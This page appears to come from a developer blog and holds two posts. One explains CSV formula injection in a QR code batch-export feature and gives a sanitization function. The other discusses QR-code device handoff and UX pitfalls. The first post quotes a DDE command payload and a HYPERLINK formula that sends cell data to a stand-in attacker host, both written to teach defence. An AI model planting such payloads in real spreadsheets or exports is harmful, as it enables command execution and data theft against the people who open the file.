Forem: Abdurrahman Hassan

How I Prevented CSV Injection Attacks in a QR Batch Generator (And Why You Should Care)

Abdurrahman Hassan — Sat, 14 Feb 2026 10:32:01 +0000

In the hierarchy of scary file formats, the Comma Separated Value (CSV) file usually sits near the bottom, right next to .txt and .md. It’s just text, right? It doesn't have macros like .docm. It doesn't execute binaries like .exe. It’s just data, delimited by commas, waiting to be read.

That’s what I thought too—until I watched a spreadsheet try to open the Windows Calculator app because of a single cell of text.

The danger isn’t in the file format itself—it’s in how modern spreadsheet software interprets it. I recently spent a week hardening a bulk import feature against CSV injection attacks, and it was a sobering reminder that "plain text" is a lie we tell ourselves to feel safe.

If you are building any SaaS that allows users to upload data and then lets other users (like admins) export that data, you have a loaded gun pointed at your foot. Here’s how I dodged the bullet.

The SaaS Scenario: It Starts With a Simple Upload

Let’s set the stage. You’re building a typical B2B application. In my case, it was a platform handling bulk QR code generation. The requirement was standard: allow a user to upload a list of 5,000 employees, containing names, emails, and ID numbers, and generate a unique QR code for each one.

The flow looks like this:

User A (the client) uploads employees.csv.
The server parses the CSV, validates the emails, and stores the rows in a database.
User B (the admin or department head) logs in later and clicks "Export Report" to get a CSV of all generated codes and associated user data.
User B opens that CSV in Microsoft Excel.

Steps 1–3 are perfectly safe. The database treats =1+1 as a string. The vulnerability explodes at Step 4.

What is CSV Injection?

CSV Injection (also called Formula Injection) happens when a website embeds untrusted input inside a CSV file without validating or escaping it. When the user opens this file in a spreadsheet program like Microsoft Excel, LibreOffice, or Google Sheets, the software looks at the first character of each cell.

If that character is a trigger—typically =, +, -, or @—the software thinks:

“Ah, this isn't data. This is a formula! I should execute it.”

This is a feature, not a bug. Microsoft intentionally allows Dynamic Data Exchange (DDE) and formula execution from CSVs to maintain compatibility with legacy workflows. But for a modern web app, it’s a nightmare. It turns your data export feature into a remote code execution vector.

Why Excel Makes It Dangerous

You might think, "So what? The attacker can calculate a sum. Big deal."

If only it were that harmless. Excel formulas can do way more than arithmetic. The most notorious vector is DDE, an ancient Windows protocol that allows applications to talk to each other. Through DDE, a malicious formula can instruct the OS to execute commands.

Consider these two cells:

Safe: John Doe
Lethal: =cmd|' /C calc'!A0

If a user opens a CSV containing that second string, Excel might pop a warning (which users notoriously ignore) and then launch the Windows Calculator. If it can launch the calculator, it can launch PowerShell. If it can launch PowerShell, it can download malware, install a keylogger, or exfiltrate the spreadsheet.

A Real Exploit Example

Imagine an attacker signs up for your app and enters this as their "First Name":

=HYPERLINK("http://attacker-server.com/log?data="&A2&B2, "Click for Error")

When an admin exports the user list and opens the CSV, they see a cell that says "Click for Error"—which looks innocent. If they click it, the spreadsheet concatenates data from cells A2 and B2 (perhaps sensitive emails or IDs) and sends it as a GET request to the attacker’s server. No hacking of your database required.

How I Prevented It (Sanitization Logic)

The fix seems obvious: "Just sanitize the input!" But sanitizing CSV input is trickier than it looks. You can’t just strip special characters—legitimate names and phone numbers may include + or -.

The standard approach is tab-escaping or single-quote prepending. This forces Excel to treat the cell as text and not execute formulas.

Strategy

Check every field before writing it to CSV. If it starts with a dangerous character, wrap it in quotes and prepend a single quote (') or tab (\t).

Dangerous starting characters:

= (Equals)
+ (Plus)
- (Minus)
@ (At symbol)
0x09 (Tab)
0x0D (Carriage Return)

Code Snippet: `sanitizeCSVCell()`

/**
 * Sanitizes a single cell value for CSV export to prevent Formula Injection.
 *
 * @param {string} value - The raw string to be written to the CSV
 * @return {string} - The sanitized, safe string
 */
function sanitizeCSVCell(value) {
    if (!value) return "";

    // Convert to string just in case
    let stringValue = String(value);

    // List of characters that trigger Excel behavior
    const dangerousPrefixes = ['=', '+', '-', '@', '\t', '\r'];

    // Check if the value starts with any dangerous character
    const startsWithDangerousChar = dangerousPrefixes.some(prefix =>
        stringValue.startsWith(prefix)
    );

    // Escape potentially dangerous values
    if (startsWithDangerousChar) {
        // Prepend a single quote to force Excel to treat as text
        stringValue = "'" + stringValue;
    }

    // Standard CSV formatting: wrap in quotes if needed and escape existing quotes
    if (stringValue.search(/("|,|\n)/g) >= 0) {
        stringValue = '"' + stringValue.replace(/"/g, '""') + '"';
    }

    return stringValue;
}

Why This Works

When Excel sees a field like "'=1+1", it treats the initial single quote as an indicator that the rest of the cell is text. It displays =1+1 to the user without executing it.

Yes, the user sees a stray apostrophe if they inspect the formula bar—but this is far safer than executing arbitrary commands.

Defensive Programming Checklist

Never trust the database – SQL sanitization ≠ CSV safety.
Escape on output, not input – Don't block legitimate names like =Ian.
Test with multiple spreadsheets – Excel, Google Sheets, LibreOffice.
Set proper headers – Content-Type: text/csv and Content-Disposition: attachment; filename="export.csv".
Use libraries carefully – Check for built-in sanitization flags in CSV libraries.

Lessons for SaaS Builders

The biggest takeaway isn’t technical—it’s psychological. Security isn’t just keeping hackers out; sometimes it’s protecting users from the data they download.

Your platform is part of a supply chain. If a CSV export infects a corporate network, that can destroy trust—and your business—in an instant.

Conclusion

CSV injection feels like a party trick until it hits production. It’s easy to overlook because it sits in the grey area between "web vulnerability" and "desktop application quirk."

Implementing a simple sanitization routine—like sanitizeCSVCell()—eliminates an entire class of attacks. It’s five minutes of work for peace of mind.

Have you ever encountered a malicious CSV in the wild? Or broken an export feature by over-sanitizing? Share your experiences in the discussion below.

The "Desktop-to-Mobile" Handoff: Why I Stopped Hating QR Codes in My UX

Abdurrahman Hassan — Sun, 08 Feb 2026 08:28:51 +0000

For a long time, I sat firmly in the "QR codes are garbage" camp. Like many of you, my primary exposure to them was during the pandemic, trying to load a PDF menu on a shaky 3G connection while hungry. They felt clunky, ugly, and inherently hostile to user experience.

But recently, I’ve had to eat my words. As I’ve shifted from building pure web apps to more complex SaaS products that bridge desktop and mobile environments, I’ve realized that the humble Quick Response code is actually the only reliable bridge we have for the "device handoff."

If you are building software in 2026, you can't assume a single-device workflow anymore. Here is how I’m actually using them in production—not for marketing gimmicks, but to solve real engineering bottlenecks—and the trade-offs I’ve learned along the way.

The Friction of Context Switching

The core problem usually looks like this: you have a user on your desktop dashboard, but you need them to do something that requires mobile hardware—verify a biometric identity, scan a physical receipt, or test a mobile-specific interaction.

The "old" way was to ask the user to:

Open the App Store
Search for your app
Download it
Log in (typing a secure password on a mobile keyboard? Nightmare)
Find the feature

This is a churn factory. You lose users at every step.

The developer solution is the magic link via QR. The user is already authenticated on the desktop. You generate a distinct, time-sensitive token, wrap it in a deep link, and display it. They point their phone at the screen, and boom—they are logged in and on the correct screen.

Implementation: The Magic Log-in

I recently implemented a “scan to login” feature for a dashboard that displays real-time inventory. The warehouse staff uses tablets, while managers sit in front of large monitors.

Technically, the flow is interesting. It’s not just a static link. It requires a WebSocket connection or long-polling.

Desktop Client: Requests a login session ID from the API.
Server: Returns a unique token (e.g., uuid-123) and opens a socket channel for that ID.
Desktop Client: Renders the QR code containing myapp://auth/handshake?token=uuid-123.
Mobile Device: Scans the code. The app opens, grabs the token, and posts it to the Auth API with the user’s mobile credentials.
Server: Validates the request and pushes a Success message down the socket to the Desktop Client.
Desktop Client: Receives the message and redirects to the dashboard.

It feels like magic to the user, but it’s just standard pub/sub architecture. The QR code is simply the transport layer for the session ID.

Documentation and Demos

Another area where I’ve stopped fighting the square is documentation. I maintain a small internal component library for our React Native app.

Previously, if another dev wanted to see how a button animation looked on a real device, they had to pull the repo and run the Android emulator—which sounds like a jet engine and eats 8GB of RAM.

Now, I embed QR codes directly in documentation PRs. We use Expo, so the code links to the Expo Go preview. A reviewer can scan the screen with their personal phone and test haptics and animations instantly. This cut down our “works on my machine” arguments because we’re testing on real hardware much earlier.

The Aesthetics Problem (and the "Ugly" Factor)

Here’s the part that usually annoys frontend developers: QR codes are ugly. They’re high-contrast blocks of visual noise that rarely fit into a clean design system. Drop a black-and-white square into a dark-mode dashboard and it looks like a rendering bug.

I spent too much time trying to make them look acceptable with CSS tricks. Rounded corners help. Brand colors help. But if you reduce contrast too much, phone cameras struggle to scan the code.

For a recent landing page where design really mattered (we were trying to get users to download a beta app), the default generated codes looked too “enterprise.” I wanted something that felt like part of the artwork rather than a barcode sticker.

I ended up using https://qrcartoon.com to generate a few assets that blended with our hero illustration style. It’s a niche optimization, but users were noticeably less hesitant to scan something that looked intentional instead of like raw data. It softened the “technical” feel of onboarding.

However, there is a trade-off here: latency.

If you’re generating QR codes for one-time use (like the magic login flow above), you must use a lightweight client-side library (for example, qrcode.react). You can’t rely on an external API for a token that expires in 60 seconds. Custom or artistic codes are best reserved for static assets—App Store links, docs, or demo pages.

The "Don’t Do This" List

If you’re going to integrate QR codes, learn from my mistakes.

1. The Email Footer Trap

I once saw a QR code added to a transactional email footer. Sixty-five percent of emails are opened on mobile. The user can’t scan their own screen. It’s a dead interface element. Always hide QR codes on mobile email layouts.

2. The Error Correction Fallacy

QR codes support error correction levels (L, M, Q, H). Level H allows up to 30% of the code to be damaged and still work. If you’re overlaying a logo or artwork, you must use high error correction. I shipped a feature once using low correction—it worked on my phone and failed on most mid-range Android devices.

3. Accessibility

This is non-negotiable. A QR code is an image. Always provide alt text and a fallback link. A QR code should be a shortcut, never the only path forward.

Closing Thoughts

We may eventually move to NFC or ultra-wideband handoffs. But today, QR codes remain the most universal protocol we have—working across iOS, Android, and every modern browser with no proprietary hardware.

Don’t slap them everywhere, but don’t ignore them either. When used deliberately to bridge the gap between desktop and mobile, they’re one of the most effective tools in a full-stack developer’s kit.